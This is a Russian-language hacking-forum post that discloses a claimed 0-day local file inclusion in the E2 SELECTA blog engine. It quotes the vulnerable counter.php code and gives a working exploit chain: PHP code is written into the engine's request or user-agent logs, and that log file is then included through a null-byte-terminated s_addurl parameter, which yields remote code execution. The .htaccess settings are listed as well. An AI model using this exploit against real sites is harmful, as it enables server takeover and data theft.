Показать сообщение отдельно

  #398  
Старый 07.06.2010, 23:25
_iks_
Познающий
Регистрация: 21.02.2009
Сообщений: 54
Провел на форуме:
1224548

Репутация: 134
По умолчанию

E2 SELECTA
Site: http://blogengine.ru/

Local File Include(0-day ):

./spesta/counter.php
Уязвимый код:

PHP код:
 ...
 if (!isset (
$s_addurl))
 {
  
$z=dirname(__FILE__);
  
$z2=$_SERVER['DOCUMENT_ROOT'].dirname ($_SERVER['PHP_SELF']);
  
$s_addurl=substr ($zstrpos ($z$z2)+strlen($z2));
  if (
$s_addurl!=""$s_addurl.="/";
 }
 else [
COLOR=DarkRed]$s_addurl=str_replace (":",""$s_addurl);[/COLOR]

 include (
$s_addurl."func.php");
 ... 
Exploit:

Как видно из нашей переменной вырезается двоеточие, поэтому теоретически имеем только локальный инклуд, однако нам на руку то, что движок ведёт своеобразный журнал по адресу ./spesta/data/, в частности в файл requests.php записывается запрошенный URL, и ничто не мешает указать в нём например <?php phpinfo();?>, поэтому сначала обращаемся к какой-нибудь страницe добавив к URL-адресу наш php-код, а затем инклудим вот так:

Код:
./spesta/counter.php?s_addurl=data/request.txt%00
Также можно внести код в agents.txt(логируются юзерагенты).

Примечание:

для этой уязвимости не играет роли значение register_globals, так как в .htacess эта настройка взводится, однако на всякий случай я решил уведомить об этом.


Содержимое .htacess:

Код:
RewriteEngine Off
DirectoryIndex index.php
Options -Indexes -MultiViews
ErrorDocument 403 /stat/deny.php
<IfModule mod_php4.c>
php_flag display_errors off
php_flag register_globals on
php_flag magic_quotes_gpc off
php_flag magic_quotes_runtime off
php_flag magic_quotes_sybase off
php_flag zlib.output_compression on
php_value output_buffering 0
php_value session.use_trans_sid 0
</IfModule>
<IfModule mod_php5.c>
php_flag display_errors off
php_flag register_globals on
php_flag magic_quotes_gpc off
php_flag magic_quotes_runtime off
php_flag magic_quotes_sybase off
php_flag zlib.output_compression on
php_value output_buffering 0
php_value session.use_trans_sid 0
</IfModule>

Последний раз редактировалось _iks_; 13.06.2010 в 11:27..